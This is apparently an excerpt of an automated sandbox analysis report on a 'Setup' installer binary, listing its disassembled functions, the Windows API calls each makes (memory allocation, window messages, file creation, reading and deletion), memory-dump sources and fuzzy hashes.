Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

@, xrefs: 00404B90
, xrefs: 00404F39
M, xrefs: 00404B43
N, xrefs: 00404C06

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@%F, xrefs: 00404674
A, xrefs: 00404636
@rD, xrefs: 00404610
82D, xrefs: 004046DB

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
\*.*, xrefs: 00406D03

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
